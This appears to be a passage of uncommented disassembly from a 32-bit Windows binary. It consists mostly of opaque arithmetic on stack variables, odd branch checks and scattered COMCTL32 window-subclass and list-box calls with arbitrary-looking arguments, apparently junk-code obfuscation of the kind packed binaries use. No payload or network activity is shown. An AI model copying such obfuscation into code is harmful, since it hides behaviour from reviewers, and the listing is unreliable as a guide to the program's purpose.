push fcn.00401820
mov eax, dword [ebp - 0xa880]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x8098], eax
call fcn.004018d0
jmp 0x407629
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x4a55]
xor ecx, edx
mov byte [ebp - 0x2421], cl
mov eax, dword [ebp - 0xb520]
mov cl, byte [eax]
mov byte [ebp - 0xb6ac], cl
cmp byte [ebp - 0xb6ac], 0x33
je 0x4075d4
jmp 0x407606
mov edx, dword [ebp - 0x9708]
and edx, dword [ebp - 0xa4bc]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x727d]
push ecx
movzx edx, byte [ebp - 0x911]
push edx
mov eax, dword [ebp - 0xa4bc]
push eax
call fcn.00401820
jmp 0x407629
push 0xf3
lea ecx, [ebp - 0x1a20]
push ecx
push fcn.004018d0
mov edx, dword [ebp - 0x3888]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x49d0], eax
mov eax, dword [ebp - 0x4c18]
add eax, dword [ebp - 0xa4bc]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x1868]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f9d]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
and eax, dword [ebp - 0xa4bc]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x3234], eax
mov ecx, dword [ebp - 0x80cc]
sub ecx, 0xc8
mov dword [ebp - 0x80cc], ecx
movzx edx, byte [ebp - 0x911]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x8bc0]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x2421]
movzx edx, byte [ebp - 0x911]
sub ecx, edx
mov byte [ebp - 0x4a55], cl
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x8f34]
sub ecx, dword [eax]
mov dword [ebp - 0x9708], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x4e20]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [ebp - 0x6074]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movzx edx, word [ebp - 0x6c90]
xor edx, 0x855
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x8bc0]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x8bc0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
and eax, dword [ebp - 0x8f34]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ebp - 0x6894]
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
cmp dword [ebp - 0x80cc], 0x8e54
jae 0x407629
cmp dword [ebp - 0x8500], 0x3206
jbe 0x407a6a
mov eax, dword [ebp - 0x73a8]
mov ecx, dword [ebp - 0xae0c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6510]
sub ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
movsx eax, word [ebp - 0x194c]
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xadc0], ax
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9708]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x8f34]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x9708]
add ecx, dword [eax]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0x8f34]
or eax, dword [edx]
mov dword [ebp - 0x9708], eax
movsx ecx, byte [ebp - 0x727d]
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x1868]
mov byte [edx], cl
mov eax, dword [ebp - 0x8bc0]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2421], dl
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6510]
sar edx, cl
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x9708]
and eax, dword [ebp - 0x8f34]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6074]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x6074]
mov dword [edx], eax
mov eax, dword [ebp - 0x81c]
add eax, dword [ebp - 0x2a9c]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], al
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
sub eax, dword [ebp - 0xa4bc]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x6510]
and eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x5f9d]
movsx eax, byte [ebp - 0x2b89]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movsx edx, word [ebp - 0xadc0]
mov eax, dword [ebp - 0x739c]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x194c], dx
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x911]
add eax, ecx
mov edx, dword [ebp - 0x8bc0]
mov byte [edx], al
mov eax, dword [ebp - 0x8500]
sub eax, 0x9f
mov dword [ebp - 0x8500], eax
mov ecx, dword [ebp - 0x6510]
xor ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x73a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x9708], edx
mov eax, dword [ebp - 0x6074]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2a9c]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x6510]
shl eax, cl
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
and eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
add eax, dword [ebp - 0x6510]
mov dword [ebp - 0x2a9c], eax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a55]
sub edx, eax
mov byte [ebp - 0x911], dl
mov ecx, dword [ebp - 0x1868]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
add edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0x73a8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
jmp 0x407796
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x799
movzx ecx, word [ebp - 0x6c90]
cmp eax, ecx
jne 0x407b19
movsx edx, word [ebp - 0xadc0]
mov eax, dword [ebp - 0x739c]
movsx ecx, word [eax]
add edx, ecx
movsx eax, word [ebp - 0x194c]
cmp edx, eax
jne 0x407ad0
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
and edx, dword [ebp - 0x8f34]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x4a55]
push ecx
movzx edx, byte [ebp - 0x5f9d]
push edx
call fcn.0049f890
add esp, 8
mov eax, dword [ebp - 0x81c]
sub eax, dword [ebp - 0x3234]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x3234]
xor ecx, dword [ebp - 0x2a9c]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
push 0
mov eax, dword [ebp - 0x6050]
push eax
mov ecx, dword [ebp - 0x6054]
push ecx
mov edx, dword [ebp - 0xa46c]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x2a9c], eax
mov eax, dword [ebp - 0x32dc]
mov cl, byte [eax]
mov byte [ebp - 0x8919], cl
mov dx, word [ebp - 0x1b5c]
mov word [ebp - 0x2c54], dx
mov eax, dword [ebp - 0x1f50]
add eax, 0xf2
mov dword [ebp - 0x1f50], eax
movsx edx, byte [ebp - 0x727d]
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x1868]
mov byte [ecx], dl
movsx edx, word [ebp - 0x194c]
mov eax, dword [ebp - 0x739c]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xadc0], dx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x9708]
or edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x6074]
mov ecx, dword [ebp - 0x2a9c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x9708]
and ecx, dword [eax]
mov dword [section..data], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
add eax, dword [ebp - 0x8f34]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9708]
sub edx, dword [section..data]
mov dword [ebp - 0xa4bc], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x81c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6510]
add eax, dword [ebp - 0x81c]
mov dword [ebp - 0x3234], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f34]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x8bc0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x8f34]
add ecx, dword [ebp - 0x9708]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6074]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3234]
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x6894]
sar edx, cl
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x6894]
shl edx, cl
mov dword [ebp - 0x3234], edx
mov eax, dword [ebp - 0x6074]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xcc0]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movsx ecx, word [ebp - 0xadc0]
movsx edx, word [ebp - 0x194c]
add ecx, edx
mov eax, dword [ebp - 0x739c]
mov word [eax], cx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2421]
and edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
sub eax, ecx
mov edx, dword [ebp - 0x1868]
mov byte [edx], al
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x9708]
add ecx, dword [eax]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xa4bc]
mov dword [section..data], ecx
movsx edx, byte [ebp - 0x2b89]
mov eax, dword [ebp - 0x1868]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
cmp dword [ebp - 0x1f50], 0x13e04
jbe 0x407b35
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
mov dword [ebp - 0xb6b0], edx
cmp dword [ebp - 0xb6b0], 0
je 0x407da1
cmp dword [ebp - 0xb6b0], 0x3fa
je 0x49ed4a
jmp 0x49ee12
mov eax, dword [ebp - 0xa4bc]
mov dword [ebp - 0xb6b4], eax
cmp dword [ebp - 0xb6b4], 0
je 0x407ddc
cmp dword [ebp - 0xb6b4], 0xff12
je 0x407dc4
jmp 0x407e2a
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x81c]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x6894], edx
jmp 0x407e2a
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
and ecx, dword [section..data]
mov dword [ebp - 0x9708], ecx
lea edx, [ebp - 0x2421]
mov dword [ebp - 0x6d44], edx
lea eax, [ebp - 0x2c54]
mov dword [ebp - 0xd4], eax
lea ecx, [ebp - 0x9708]
mov dword [0x4aab7c], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2a9c]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x739c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x194c]
add eax, ecx
movsx edx, word [ebp - 0xadc0]
cmp eax, edx
jle 0x407ed4
lea eax, [ebp - 0xae0c]
push eax
push fcn.00401350
mov ecx, dword [ebp - 0x9810]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x42d8], eax
movsx edx, word [ebp - 0x194c]
mov dword [ebp - 0xb6b8], edx
cmp dword [ebp - 0xb6b8], 0xb7
je 0x407e84
jmp 0x407eba
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
movsx eax, word [ebp - 0xadc0]
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x194c], ax
call fcn.004018d0
jmp 0x407ed4
mov eax, dword [ebp - 0x1868]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2b89]
sub ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movzx ecx, word [ebp - 0x1b5c]
movzx edx, word [ebp - 0x2c54]
sub ecx, edx
mov word [ebp - 0xb2cc], cx
movzx eax, byte [ebp - 0x4a55]
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2421], al
movsx eax, byte [ebp - 0x2b89]
movsx ecx, byte [ebp - 0x5f9d]
sub eax, ecx
mov edx, dword [ebp - 0x1868]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x727d]
xor ecx, edx
cmp eax, ecx
jne 0x407f85
mov eax, dword [ebp - 0x5020]
mov edx, dword [eax]
mov ecx, dword [section..data]
shl edx, cl
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov dword [ebp - 0x5814], edx
mov ax, word [ebp - 0xadc0]
mov word [0x4ab2bc], ax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x6074]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6510]
mov dword [ebp - 0x6bec], edx
jmp 0x408107
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x73a8]
mov edx, dword [ebp - 0x11e0]
mov eax, dword [eax]
sub eax, dword [edx]
cmp ecx, eax
jne 0x408107
movsx ecx, word [0x4ab2bc]
mov dword [ebp - 0xb6bc], ecx
cmp dword [ebp - 0xb6bc], 0x486
je 0x407fc8
jmp 0x407ff0
push 0x9d
lea edx, [ebp - 0x194c]
push edx
push fcn.00401820
mov eax, dword [ebp - 0xa46c]
push eax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x42d8], eax
jmp 0x408107
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x6bec]
sub edx, dword [ecx]
mov dword [ebp - 0x4e20], edx
movzx eax, byte [ebp - 0x4a55]
movzx ecx, byte [ebp - 0x911]
add eax, ecx
mov edx, dword [ebp - 0x6d44]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x2421]
and ecx, edx
cmp eax, ecx
jge 0x4080be
mov al, byte [ebp - 0x2b89]
mov byte [ebp - 0xb6c0], al
cmp byte [ebp - 0xb6c0], 0x3f
je 0x40804e
cmp byte [ebp - 0xb6c0], 0x4d
je 0x4080a4
jmp 0x4080bc
movzx ecx, word [ebp - 0x1b5c]
movzx edx, word [ebp - 0xb2cc]
add ecx, edx
mov eax, dword [ebp - 0xd4]
mov word [eax], cx
push 0xb4
lea ecx, [ebp - 0x5814]
push ecx
push fcn.004018d0
mov edx, dword [ebp - 0x1934]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x9af8], eax
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x8919]
add ecx, edx
mov byte [ebp - 0x2421], cl
jmp 0x4080bc
mov eax, dword [ebp - 0x5020]
mov edx, dword [eax]
mov ecx, dword [section..data]
shr edx, cl
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
jmp 0x408107
movsx ecx, word [ebp - 0x194c]
movsx edx, word [ebp - 0xadc0]
sub ecx, edx
movsx eax, word [0x4ab2bc]
mov edx, dword [ebp - 0x739c]
movsx edx, word [edx]
sub eax, edx
cmp ecx, eax
jne 0x408107
push 1
mov eax, dword [ebp - 0x3d50]
push eax
mov ecx, dword [ebp - 0x3d54]
push ecx
mov edx, dword [ebp - 0x1934]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x7048], eax
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x73a8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2a9c]
mov dword [ebp - 0xcc0], edx
mov eax, dword [0x4aab7c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x8f34]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x9708]
and ecx, dword [eax]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1b5c]
movzx ecx, word [ebp - 0xb2cc]
sub eax, ecx
mov word [ebp - 0x2c54], ax
movsx edx, word [ebp - 0x194c]
movsx eax, word [ebp - 0xadc0]
add edx, eax
mov ecx, dword [ebp - 0x739c]
mov word [ecx], dx
mov edx, dword [ebp - 0x1868]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2b89]
sub eax, ecx
mov edx, dword [ebp - 0x1868]
mov byte [edx], al
mov eax, dword [ebp - 0x9708]
sub eax, dword [ebp - 0x5814]
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x73a8]
mov dword [ecx], edx
movzx edx, word [ebp - 0x2c54]
movzx eax, word [ebp - 0x6c90]
and edx, eax
mov word [ebp - 0x1b5c], dx
mov ecx, dword [ebp - 0x6d44]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x911]
add edx, eax
mov ecx, dword [ebp - 0x8bc0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x6074]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [0x4aab7c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8e30]
add edx, 0x31
mov dword [ebp - 0x8e30], edx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
mov dword [ebp - 0x7048], ecx
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4e20]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x6c90]
sar edx, cl
mov eax, dword [ebp - 0xd4]
mov word [eax], dx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x911]
or edx, eax
mov ecx, dword [ebp - 0x8bc0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0x741c]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x5814], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x3234]
and ecx, dword [eax]
mov edx, dword [ebp - 0x6074]
mov dword [edx], ecx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x6894]
add ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x81c]
add ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x4c18]
add edx, dword [ebp - 0x8f34]
mov dword [section..data], edx
movsx eax, word [ebp - 0x194c]
movsx ecx, word [ebp - 0xadc0]
sub eax, ecx
mov edx, dword [ebp - 0x739c]
mov word [edx], ax
mov eax, dword [ebp - 0x1868]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2b89]
sub ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movzx ecx, word [ebp - 0xb2cc]
movzx edx, word [ebp - 0x1b5c]
add ecx, edx
mov word [ebp - 0x6c90], cx
cmp dword [ebp - 0x8e30], 0x3284
jne 0x408107
mov eax, dword [ebp - 0x6d44]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
and ecx, eax
movzx edx, byte [ebp - 0x2421]
mov eax, dword [ebp - 0x32dc]
movzx eax, byte [eax]
sub edx, eax
cmp ecx, edx
jle 0x4083cb
movzx edx, byte [ebp - 0x8919]
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x6d44]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa4bc]
shl eax, cl
mov dword [ebp - 0x9708], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x4c18]
or edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
cmp dword [ebp - 0x1ea4], 0x7846
jbe 0x4087bc
movzx ecx, byte [ebp - 0x8919]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x6d44]
mov byte [edx], cl
movzx eax, word [ebp - 0x6c90]
movzx ecx, word [ebp - 0x1b5c]
add eax, ecx
mov word [ebp - 0x2c54], ax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
and eax, dword [ebp - 0x9708]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x5020]
add edx, dword [eax]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e20]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x6510]
sub ecx, dword [ebp - 0x7048]
mov dword [ebp - 0x2a9c], ecx
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6d44]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x8bc0]
mov byte [ecx], al
movzx edx, word [ebp - 0x2c54]
movzx eax, word [ebp - 0x1b5c]
sub edx, eax
mov ecx, dword [ebp - 0xd4]
mov word [ecx], dx
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0x9708]
sub eax, dword [edx]
mov dword [ebp - 0x5814], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0xcc0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
and edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [0x4aab7c]
mov eax, dword [ebp - 0x6ef4]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [0x4aab7c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x8919]
shl edx, cl
mov byte [ebp - 0x2421], dl
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x2c54]
xor ecx, edx
mov word [ebp - 0xb2cc], cx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x3234], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2a9c]
sub edx, dword [ebp - 0x81c]
mov eax, dword [ebp - 0xae0c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x7398]
mov byte [eax], dl
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xadc0]
add edx, eax
mov word [0x4ab2bc], dx
mov ecx, dword [ebp - 0x81c]
sub ecx, dword [ebp - 0x6894]
mov dword [ebp - 0x6bec], ecx
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x741c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x5020]
mov dword [edx], eax
mov eax, dword [ebp - 0x1ea4]
sub eax, 0x6c
mov dword [ebp - 0x1ea4], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xae0c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], edx
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], eax
movzx eax, word [ebp - 0x6c90]
movzx ecx, word [ebp - 0x2c54]
add eax, ecx
mov edx, dword [ebp - 0xd4]
mov word [edx], ax
mov eax, dword [ebp - 0x8bc0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x911]
xor ecx, edx
mov eax, dword [ebp - 0x6d44]
mov byte [eax], cl
movsx edx, byte [ebp - 0x2b89]
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x727d], dl
